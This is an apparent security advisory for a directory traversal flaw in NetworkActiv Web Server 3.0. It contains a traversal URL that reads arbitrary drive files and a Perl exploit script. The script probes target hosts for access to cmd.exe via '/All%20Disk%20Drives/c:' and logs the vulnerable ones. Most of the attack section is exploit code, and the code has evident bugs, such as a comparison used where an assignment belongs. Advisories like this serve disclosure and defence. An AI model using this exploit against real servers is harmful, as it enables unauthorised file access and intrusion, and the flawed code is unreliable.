[NT] NetworkActiv Web Server Directory Traversal

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  NetworkActiv Web Server Directory Traversal
------------------------------------------------------------------------


SUMMARY

 <http://www.networkactiv.com/Products.html> NetworkActiv Web Server is a: 
"Very easy to use Windows based Web Server (HTTP Daemon) with a graphical 
user interface." NetworkActiv Web Server is affected by an access 
validation error that allows a malicious user to view and download 
arbitrary files.

DETAILS

Vulnerable Systems:
 * NetworkActiv Web Server version 3.0

An attacker can arbitrary files by using the the following URL:
http://[host]/All%20Disk%20Drives/c:

Exploit Code:
#!/usr/local/bin/perl
#
# NetworkActiv Directory Execution Exploit
# ----------------------------------------
# Infam0us Gr0up - Securiti Research
#
#
# [+] Connect to localhost..wait
# [+] Connected
# [+] Now Scanning localhost..
# [+] Found: /All%20Disk%20Drives/C:/winnt/system32/cmd.exe
#
# Tested on Windows2000 SP4 (Win NT)
# Info: infamous.2hell.com
#

$ARGC=@ARGV;
if ($ARGC !=2) {
    
    print " NetworkActiv Directory Execution Exploit\n";
    print "-------------------------------------------\n\n";
    print "Usage: $0 [remote IP]\n";
    print "Exam: $0 127.0.0.1\n";
    exit;
}

use Socket;

$www = $ARGV[0];
$port = $ARGV[1];
$timeout = 2;
$agent = "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.6) Gecko/20040506 
";

print "[+] Connect to $www..wait\n";

if (-e "$www") {
  open(T, "$www") || die "[-] Invalid address $www\n";
  @target = <T>;
  close(T);
}

else { @target[0] = $www; }

@scripts = ("All%20Disk%20Drives");
open(LOG, ">>$www.log") || die "[-] couldn't open a file for writing 
log\n";

foreach $script (@scripts) {
  $get = "GET /$script/c:/winnt/system32/cmd.exe HTTP/1.0 \n$agent\n";
  $vuln = "/All%20Disk%20Drives/C:/winnt/system32/cmd.exe ";
  foreach $site (@target) {
    unless(fork()) {
      chop($site) if $site =~ /\n$/; &connect($site);
    }
  }
}


sub connect {
my ($ste) = @_;
$iaddr = inet_aton($ste) || die "[-] $ste doesn't seem exist....\n";
$paddr = sockaddr_in($port, $iaddr);
$proto = getprotobyname('tcp');
socket(SCAN, PF_INET, SOCK_STREAM, $proto) || die("Error: couldn't create 
socket ");
connect(SCAN, $paddr) || die "[-] Couldn't connect to $ste...\n";

print "[+] Connected\n";
sleep(1);
print "[+] Now Scanning $www..\n";
sleep(2);
send(SCAN, $get, 0);

$blackout = <SCAN>;
($http,$code,$www) == split(/ /, $blackout);
if ($code == "HTTP/1.1 200 OK") {
print "[+] Found: $vuln \n";
print LOG "Scanning $ste: $vuln [Vulnerable]\n";
  }
  else
{
print "[-] Failed: $www cause protected!\n"; }
close(SCAN);
exit(0);
}
close(LOG);
exit;


ADDITIONAL INFORMATION

The information has been provided by  <mailto:basher13@xxxxxxxxxxxxx> 
basher13.
The original article can be found at:  
<http://k.domaindlx.com/shellcore/advisories.asp?bug_report=display&infamous_group=81>
 
http://k.domaindlx.com/shellcore/advisories.asp?bug_report=display&infamous_group=81



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